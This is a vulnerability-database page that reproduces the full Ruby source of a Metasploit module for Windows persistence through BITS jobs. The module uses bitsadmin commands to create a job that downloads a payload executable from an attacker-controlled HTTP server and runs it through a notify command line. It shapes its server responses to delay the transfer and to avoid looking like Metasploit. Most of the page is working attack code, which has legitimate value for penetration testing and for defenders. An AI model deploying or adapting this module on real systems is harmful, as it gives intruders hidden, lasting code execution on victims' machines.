Lucene search
K

Windows Persistence Bits Job

🗓️ 15 Apr 2026 19:02:24Reported by h00dieType 
metasploit
 metasploit
🔗 www.rapid7.com👁 193 Views

Establishes Windows persistence via a bits job to download and run a payload.

Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = ExcellentRanking

  include Msf::Post::Windows::Priv
  include Msf::Post::File
  include Msf::Exploit::Remote::HttpServer
  include Msf::Exploit::Local::Persistence # persistence and HttpServer get funky together with overwriting exploit function
  include Msf::Exploit::EXE
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Windows Persistence Bits Job',
        'Description' => %q{
          This module establishes persistence through a BITS job that
          downloads and executes a payload. Background Intelligent Transfer Service
          (BITS) is a Windows service for transferring files in the background
          using idle network bandwidth. BITS jobs are persistent and will resume
          across reboots until completed or cancelled.

          BITS does not include a timing mechanism for when jobs are run, so we control that
          in how we respond to the HTTP requests from the BITS client. This avoids needing
          to set up an external trigger to start the job like a scheduled task or similar.

          Similarily, BITS jobs are somewhat clock agnostic, so while we can set some
          time parameters, the aren't a guarantee of when the job will actually run.
          Jobs that we've idled via HTTP server response will have a "CONNECTING" status.

          BITS is fickle about the HTTP responses it expects, so we have to be precise in
          how the server responds. For a HEAD request we need to send back a correct
          Content-Length header matching the payload size, but with no body. For GET requests
          we need to handle byte range requests properly (althought not always used),
          sending back the appropriate
          Content-Range headers. If we respond incorrectly BITS may error out or retry
          in unexpected ways. However, we can trick BITS into not getting the payload until
          we want by responding to the GET requests with no body (aka how we responded to
          the HEAD requests) until our delay time has reached.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'h00die',
        ],
        'Platform' => [ 'win' ],
        'Arch' => [ ARCH_X86, ARCH_X64 ],
        'SessionTypes' => [ 'meterpreter' ],
        'Targets' => [
          [ 'Automatic', {} ]
        ],
        'References' => [
          ['ATT&CK', Mitre::Attack::Technique::T1197_BITS_JOBS],
          ['URL', 'https://pentestlab.blog/2019/10/30/persistence-bits-jobs/'],
          ['URL', 'https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin'],
          ['URL', 'https://learn.microsoft.com/en-us/windows/win32/bits/life-cycle-of-a-bits-job'],
        ],
        'DefaultTarget' => 0,
        'Stance' => Msf::Exploit::Stance::Passive,
        'Passive' => true,
        'DisclosureDate' => '2001-10-01', # bits release date
        'Notes' => {
          'Reliability' => [EVENT_DEPENDENT, REPEATABLE_SESSION],
          'Stability' => [CRASH_SAFE],
          'SideEffects' => [CONFIG_CHANGES, IOC_IN_LOGS]
        }
      )
    )

    register_options([
      OptString.new('JOB_NAME', [false, 'The name to use for the bits job provider. (Default: random)' ]),
      OptString.new('PAYLOAD_NAME', [false, 'Name of payload file to write. Random string as default.']),
      # DELAY is a bit of a misnomer, as BITS jobs run when the system deems fit. So this is simply a light
      # suggestion to the system
      OptInt.new('DELAY', [false, 'Delay in seconds before callback.', 1.hours.to_i]),
      OptInt.new('RETRY_DELAY', [false, 'Delay in seconds between retries.', 10.minutes.to_i]),
    ])
  end

  def writable_dir
    d = super
    return session.sys.config.getenv(d) if d.start_with?('%')

    d
  end

  def http_response_head
    # unfortunately if we include a content-length header like:
    #    return send_response(cli, generate_payload_exe, { 'Content-Length' => generate_payload_exe.bytesize })
    # it gets overwritten to 0 by the http server if the body is empty, so we have to build and send our http server
    # response to headers manually so they adhere to the spec close enough for BITS to accept it.
    # You may also think that we can just send the full payload here, but BITS expects no body on HEAD requests and
    # it starts acting differently, let alone this would be a tell that its MSF not a normal HTTP server.

    response = create_response(200, 'OK', '1.0')
    headers = [
      # we want to send an arbitrarily low content length to prevent the server from doing Ranges.
      # while there is code to handle that, I've yet to determine a method to delay it from getting
      # the payload or going into an ERROR state and ceasing the job.
      "Content-Length: 5\r\n",
      # "Content-Length: #{@pload.bytesize}\r\n",
      "Accept-Ranges: none\r\n",
      "Last-Modified: #{Time.now.httpdate}"
    ]
    response = response.to_s
    response = response.sub('Content-Length: 0', headers.join)
    response = response.sub("Content-Type: text/html\r\n", "Content-Type: application/vnd.microsoft.portable-executable\r\n")
    response
  end

  def http_response_range(start_byte, end_byte)
    payload_size = @pload.bytesize
    if start_byte && end_byte
      # normal range: bytes=100-200
      chunk = @pload.byteslice(start_byte, end_byte - start_byte + 1)
    elsif start_byte && !end_byte
      # bytes=500- (from 500 to end)
      chunk = @pload.byteslice(start_byte, payload_size - start_byte)
      end_byte = payload_size - 1
    elsif !start_byte && end_byte
      # bytes=-100 (last 100 bytes)
      chunk = @pload.byteslice(payload_size - end_byte, end_byte)
      start_byte = payload_size - end_byte
      end_byte = payload_size - 1
    else
      # fallback: send entire payload
      chunk = @pload
      start_byte = 0
      end_byte = payload_size - 1
    end

    vprint_status("HTTP Server: Sending bytes #{start_byte}-#{end_byte} of #{payload_size} to BITS client")
    headers = {
      'Content-Type' => 'application/vnd.microsoft.portable-executable',
      'Content-Range' => "bytes #{start_byte}-#{end_byte}/#{payload_size}"
    }

    response = create_response(206, 'Partial Content', '1.0')
    response.body = chunk
    response.headers.merge!(headers)
    response.to_s
  end

  def on_request_uri(cli, request)
    vprint_status("HTTP Server: #{request.method} #{request.uri} requested by #{request['User-Agent']} on #{cli.peerhost}")
    unless request['User-Agent'].downcase.include?('bits')
      vprint_error('HTTP Server: Non BITS client detected, sending 404')
      return
    end

    unless %w[HEAD GET].include?(request.method)
      vprint_error("HTTP Server: Ignoring #{request.method} request")
      return
    end

    if request.method == 'HEAD'
      vprint_good('HTTP Server: HEAD request received, sending response')
      return cli.put(http_response_head)
    end

    # BITS may use byte ranges, so we need to parse that out and send back the appropriate data
    if request.headers['Range'] =~ /bytes=(\d*)-(\d*)/
      start_byte = Regexp.last_match(1).empty? ? nil : Regexp.last_match(1).to_i
      end_byte = Regexp.last_match(2).empty? ? nil : Regexp.last_match(2).to_i

      return cli.put(http_response_range(start_byte, end_byte))
    end

    if @start_time + datastore['DELAY'] > Time.now.to_i
      message = "HTTP Server: Early BITS connection, waiting till #{Time.at(@start_time + datastore['DELAY']).strftime('%m/%d/%Y %H:%M:%S')} (#{(@start_time + datastore['DELAY']) - Time.now.to_i}s left), sending empty body back to force a retry"

      vprint_status(message)
      return cli.put(http_response_head)
    end

    vprint_status('HTTP Server: Sending full payload to BITS client')
    return send_response(cli, @pload, { 'Content-Type' => 'application/vnd.microsoft.portable-executable' })
  end

  def check
    print_warning('Payloads in %TEMP% will only last until reboot, you want to choose elsewhere.') if datastore['WritableDir'].start_with?('%TEMP%') # check the original value
    return CheckCode::Safe("#{writable_dir} doesnt exist") unless exists?(writable_dir)

    Msf::Exploit::CheckCode::Vulnerable('Likely exploitable')
  end

  def install_persistence
    @pload = generate_payload_exe
    endpoint = Rex::Text.rand_text_alphanumeric(8..12)

    start_service({
      'Uri' => {
        'Proc' => proc do |cli, req|
          on_request_uri(cli, req)
        end,
        'Path' => "/#{endpoint}"
      },
      'ssl' => false
    })

    job_name = datastore['JOB_NAME'] || Rex::Text.rand_text_alphanumeric(8..12)
    payload_name = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alphanumeric(8..12)
    payload_name += '.exe' unless payload_name.downcase.end_with?('.exe')

    result = cmd_exec("bitsadmin /create \"#{job_name}\"")
    id = begin
      result.match(/Created job (\{[0-9A-Fa-f-]{36}\})\./)[0]
    rescue StandardError
      nil
    end
    fail_with(Failure::UnexpectedReply, 'Failed to create BITS job') unless id
    print_good("Successfully created BITS job #{job_name} with ID #{id}")
    @start_time = Time.now.to_i
    cmd_list =
      [
        %(bitsadmin /addfile "#{job_name}" "http://#{srvhost_addr}:#{srvport}/#{endpoint}" "#{writable_dir}\\#{payload_name}"),
        # this next line is a little complex. first we tell bits to complete the job which means after it's done transfering move the downloaded file from
        # a temp file to its final location and delete the job. Then run our payload

        %(bitsadmin /SetNotifyCmdLine "#{job_name}" "cmd.exe" "/c bitsadmin /complete \\\"#{job_name}\\\" && if exist \\\"#{writable_dir}\\#{payload_name}\\\" start /b \\\"\\\" \\\"#{writable_dir}\\#{payload_name}\\\"\""),
        %(bitsadmin /SetMinRetryDelay "#{job_name}" #{datastore['RETRY_DELAY']}), # seconds
        %(bitsadmin /setpriority "#{job_name}" high),
        %(bitsadmin /setnoprogresstimeout "#{job_name}" 10), # seconds
        %(bitsadmin /resume "#{job_name}")
      ]
    cmd_list.each do |cmd|
      vprint_status("Executing: #{cmd}")
      result = cmd_exec(cmd)
      vprint_line("    #{result.lines.last.chomp}") if result && !result.empty?
    end

    print_good("Persistence installed! Payload will be downloaded to #{writable_dir}\\#{payload_name} when the BITS job #{job_name} runs.")
    @clean_up_rc << "bitsadmin /cancel \"#{id}\"\n"
    @clean_up_rc << "rm \"#{(writable_dir + '\\' + payload_name).gsub('\\', '/')}\"\n" # just in case one did execute
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation